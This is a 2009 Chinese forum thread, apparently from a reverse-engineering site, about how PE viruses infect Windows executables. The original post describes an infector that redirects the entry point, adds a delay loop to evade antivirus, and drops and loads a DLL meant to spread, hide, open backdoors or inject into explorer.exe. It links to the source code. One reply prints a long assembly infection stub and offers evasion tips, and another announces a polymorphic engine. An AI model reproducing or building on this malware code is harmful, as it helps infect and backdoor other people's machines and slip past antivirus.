首页
社区
课程
招聘
[原创]浅析PE病毒感染PE文件
发表于: 2009-4-28 12:29 13626

[原创]浅析PE病毒感染PE文件

2009-4-28 12:29
13626

PE结构文件windows下最常用的可执行文件格式,我们经常见到的*.exe,*.dll等都是PE结构文件。搞懂PE结构是理解PE病毒的基础。如果您不太熟悉,请参考罗云彬大牛著的《windows环境下32位汇编语言程序设计》,这是一本练内功的好书,感兴趣的可以认真拜读。

     什么是PE病毒呢?我也不知道准确的定义是什么,只能按自己的了解描述一下PE病毒的行为。一个正常的程序感染后,当你启动这个程序的时候,它通常会先执行一段病毒代码,然后自身运行,这样病毒就悄无声息的运行起来,然后再去感染其他PE文件,这就是PE病毒的行为;而通常被害者对这些毫无感觉,所以说pe病毒有良好的隐藏性!隐藏和感染是病毒的两大武器,通常隐藏更为重要,因为一旦暴露被杀是再所难免!如果潜行能力极强,能和杀毒软件与人长期和谐相处,这是潜伏的最高境界!关于如何做到潜行能力极强,再推荐一本书《Rootkits ---windows 内核的安全防护》,这可是一本好书啊,因为如果您能完全理解这本书,那您就爽了,整一整页表、中断服务表、系统服务调度表、控制寄存器、读写一下端口,呵呵!我们又回到DOS时代了!!!当然,这本书只是基础,它只是为您打开RING0病毒的大门,里面的精彩还要您去发现!

     好像跑题了,那就言归正传!刚才描述PE病毒的行为是,说一个正常的程序感染后,启动会运行病毒代码。由此可见,这时正常的程序已经成为传染源,它会继续把其他程序变成传染源。这些都好理解,问题是第一个PE文件是怎么被感染的呢?这个问题只能靠您自己去阅读后面附带的代码,本人写文章太烂,只能简单说一下我的思路。

      后面链接的源代码的思路是:更改原有的代码节,添加一个代码节和一个只读数据节(实际是一个DLL文件);首先把一段代码写到被感染者的PE文件原有的代码节中,并把程序入口地址改成指向这段代码的头部,在这段代码的最后跳到添加的代码节,这段代码会把DLL文件释放出来,然后加载运行,然后返回正常程序流程。程序的入口地址必须指向原有的代码节,否者杀毒软件会把它干掉!我在原有的代码节中加了一个耗时循环,原因也是为了免杀,然后跳到添加的代码节,添加的代码节会把dll释放并运行它。这个DLL是用VC写的,总用汇编写程序太不爽了,所以就偷懒一把!这个DLL功能就是感染他人,隐藏自己,譬如可以开个后门,整几个内核钩子过滤对自己不利的信息等。这些代码可以在现在进程环境中运行,问题是如果程序结束,我们的程序也跟着结束了!所以也可以整个远程线程,注入倒霉的explorer.exe中,在远程线程中加载DLL,总整可重定位和没有导入库的代码是很令人郁闷的!!!下面链接的代码这一部分没有,您可以自由发挥。其他部分的细节请参见源代码。

源代码:http://download.csdn.net/source/1255478


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (12)
雪    币: 193
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我来顶楼主,下个看看!
2009-4-29 08:27
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark一下,好好学习一下。
2009-4-29 09:45
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习了~~~~~~~~~
2009-4-30 11:22
0
雪    币: 315
活跃值: (23)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
5
这个来说叫做静态注入,不能算作感染。感染是整个把病毒体进行patch,这样的被感染文件就拥有了病毒体所有的功能,例如感染等。

看了下附件,你的代码仅仅是定义了两个入口处的代码。剩下的是罗云斌的代码。
1.
_NewEntry1:
         pushad
         mov    eax, 0ffffffh
         .while eax >= 5
         	pushad
         	nop
         	nop
         	popad
         	dec eax
         .endw
         popad
jmp  New_Section



呵,楼主貌似是看免杀类文章看多了。对于现在的AV,仅仅的耗时循环已经没什么用处了。现在讲究的是猥琐,猥琐。

;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
		call	@F
		@@:
		pop	ebx
		sub	ebx,offset @B
;********************************************************************
		invoke	_GetKernelBase,[esp]	;获取Kernel32.dll基址
		.if	! eax
			jmp	_ToOldEntry
		.endif
		mov	[ebx+hDllKernel32],eax	;获取GetProcAddress入口
		lea	eax,[ebx+szGetProcAddress]
		invoke	_GetApi,[ebx+hDllKernel32],eax
		.if	! eax
			jmp	_ToOldEntry
		.endif
		mov	[ebx+_GetProcAddress],eax
;********************************************************************
		lea	eax,[ebx+szLoadLibrary]	;获取LoadLibrary入口
		invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_LoadLibrary],eax
;********************************************************************
                lea     eax,[ebx+szGetTempPath] ;获取GetTempPath入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_GetTempPath],eax
		lea     eax,[ebx+szCreateFile] ;获取CreateFile入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_CreateFile],eax
		lea     eax,[ebx+szCreateFileMapping] ;获取CreateFileeMapping入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_CreateFileMapping],eax
		lea     eax,[ebx+szMapViewOfFile] ;获取MapViewOfFile入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_MapViewOfFile],eax
		lea     eax,[ebx+szUnmapViewOfFile] ;获取UnmapViewOfFile入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_UnmapViewOfFile],eax
		lea     eax,[ebx+szCloseHandle] ;获取CloseHandle入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_CloseHandle],eax
		lea     eax,[ebx+szWriteFile] ;获取WriteFile入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_WriteFile],eax
		lea     eax,[ebx+szSetFilePointer] ;获取SetFilePointer入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_SetFilePointer],eax
		lea     eax,[ebx+szSetEndOfFile] ;获取SetEndOfFile入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_SetEndOfFile],eax
		lea     eax,[ebx+szGetModuleFileName] ;获取GetModuleFileName入口
                invoke	[ebx+_GetProcAddress],[ebx+hDllKernel32],eax
		mov	[ebx+_GetModuleFileName],eax
;********************************************************************
;从PE文件中导出DLL
;********************************************************************
                lea     eax,[ebx+szDll]
                invoke  [ebx+_GetModuleFileName],NULL,eax,MAX_PATH
                lea     eax,[ebx+szDll]
		invoke	[ebx+_CreateFile],eax,GENERIC_READ,FILE_SHARE_READ or \
			FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
		.if	eax !=	INVALID_HANDLE_VALUE
			mov	[ebx+hFile],eax
			invoke	[ebx+_CreateFileMapping],eax,NULL,PAGE_READONLY,0,0,NULL
			.if	eax
			        mov	[ebx+hMapFile],eax
				invoke	[ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
					.if	eax
						mov	[ebx+lpMemory],eax
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
						mov	esi,[ebx+lpMemory]
						assume	esi:ptr IMAGE_DOS_HEADER
						.if	[esi].e_magic != IMAGE_DOS_SIGNATURE
							jmp	_ToOldEntry
						.endif
						add	esi,[esi].e_lfanew
						assume	esi:ptr IMAGE_NT_HEADERS
						.if	[esi].Signature != IMAGE_NT_SIGNATURE
							jmp	_ToOldEntry
						.endif
						movzx   ecx,[esi].FileHeader.NumberOfSections
						add     esi,sizeof IMAGE_NT_HEADERS
						assume  esi:ptr IMAGE_SECTION_HEADER
						.while  ecx > 1
							dec ecx
							add esi,sizeof  IMAGE_SECTION_HEADER
						.endw
						lea     eax,[ebx+szDll]
						invoke  [ebx+_GetTempPath],MAX_PATH,eax
						lea     ecx,[ebx+szDll]
						;mov     byte ptr[ecx+eax],5CH
						mov     byte ptr[ecx+eax],50H
						mov     byte ptr[ecx+eax+1],65H
						mov     byte ptr[ecx+eax+2],44H
						mov     byte ptr[ecx+eax+3],6CH
						mov     byte ptr[ecx+eax+4],6CH
						mov     byte ptr[ecx+eax+5],2EH
						mov     byte ptr[ecx+eax+6],64H
						mov     byte ptr[ecx+eax+7],6CH
						mov     byte ptr[ecx+eax+8],6CH
						mov     byte ptr[ecx+eax+9],0
						lea     eax,[ebx+szDll]
						invoke	[ebx+_CreateFile],eax,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
			                                FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
		                                .if	eax ==	INVALID_HANDLE_VALUE
			                                jmp	_ToOldEntry
		                                .endif
		                                mov     [ebx+hFileNew],eax
		                                
		                                ;mov     eax,[ebx+hFileNew]
		                                mov     ecx,[ebx+lpMemory]
		                                add     ecx,[esi].PointerToRawData
		                                lea     edx,[ebx+dbCount]
		                                invoke	[ebx+_WriteFile],eax,ecx,[esi].SizeOfRawData,\
				                        edx,NULL
				                invoke	[ebx+_SetEndOfFile],[ebx+hFileNew]
				                invoke	[ebx+_CloseHandle],[ebx+hFileNew]
						invoke	[ebx+_UnmapViewOfFile],[ebx+lpMemory]
					.endif
					invoke	[ebx+_CloseHandle],[ebx+hMapFile]
				.endif
				invoke	[ebx+_CloseHandle],[ebx+hFile]
		.else
			jmp	_ToOldEntry
		.endif
;********************************************************************
		;lea	eax,[ebx+szUser32]	;获取User32.dll基址
		lea	eax,[ebx+szDll]
		invoke	[ebx+_LoadLibrary],eax
		mov	[ebx+hDllUser32],eax
		lea	eax,[ebx+szMessageBox]	;获取MessageBox入口
		invoke	[ebx+_GetProcAddress],[ebx+hDllUser32],eax
		mov	[ebx+_MessageBox],eax
;********************************************************************
		lea	ecx,[ebx+szText]
		lea	eax,[ebx+szCaption]
		invoke	[ebx+_MessageBox],NULL,ecx,eax,MB_YESNO or MB_ICONQUESTION
		.if	eax !=	IDYES
			ret
		.endif
  jmp Old_OEP


这段过程写的太笨拙了。
尤其那个填充和获取api函数。
还有
;mov     byte ptr[ecx+eax],5CH
                                                mov     byte ptr[ecx+eax],50H
                                                mov     byte ptr[ecx+eax+1],65H
                                                mov     byte ptr[ecx+eax+2],44H
                                                mov     byte ptr[ecx+eax+3],6CH
                                                mov     byte ptr[ecx+eax+4],6CH
                                                mov     byte ptr[ecx+eax+5],2EH
                                                mov     byte ptr[ecx+eax+6],64H
                                                mov     byte ptr[ecx+eax+7],6CH
                                                mov     byte ptr[ecx+eax+8],6CH
                                                mov     byte ptr[ecx+eax+9],0
还有这个。你就不能db 下。
然后rep movsb


还有楼主干嘛要添加2个节,直接把dll转换成二进制数据定义到你定义的入口点过程中,然后处理下重定位,读取,写入即可 省了你的入口点还得去读取节表的麻烦。还有的DLL要玩就玩DLL MEM LOAD。。

其实搞Virus 最好还是按照自己的思想来写代码,这样进步才能更大。另外看代码最好是去看传统意义上的病毒代码,千万不要去看罗云斌哥哥那种正统程序员写的代码。
2009-4-30 14:21
0
雪    币: 279
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
呵呵,分析的不错,我写了一个多态引擎,可实现动态加密和动态解密,目前整体架构已完成,正在对接程序,调试阶段,等调试完成,公布出来,大家帮我看看,有没有需要改进的地方!呵呵
2009-4-30 20:33
0
雪    币: 264
活跃值: (11)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
7
期待楼上多态

to 小鱼
DLL MEM LOAD会在专题提到吧 吼吼~
2009-4-30 21:24
0
雪    币: 115
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark,写的不错
2009-4-30 22:15
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
9
说得挺有道理的。呵呵。。。
2009-5-1 13:15
0
雪    币: 222
活跃值: (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
[Mark……]
2010-2-3 14:07
0
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
写的不错。值得学习吗··········
2010-4-14 00:10
0
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
我最近也在学习中。
2010-5-15 20:35
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
good.....thx for sharing
2010-5-15 22:20
0
游客
登录 | 注册 方可回帖
返回
//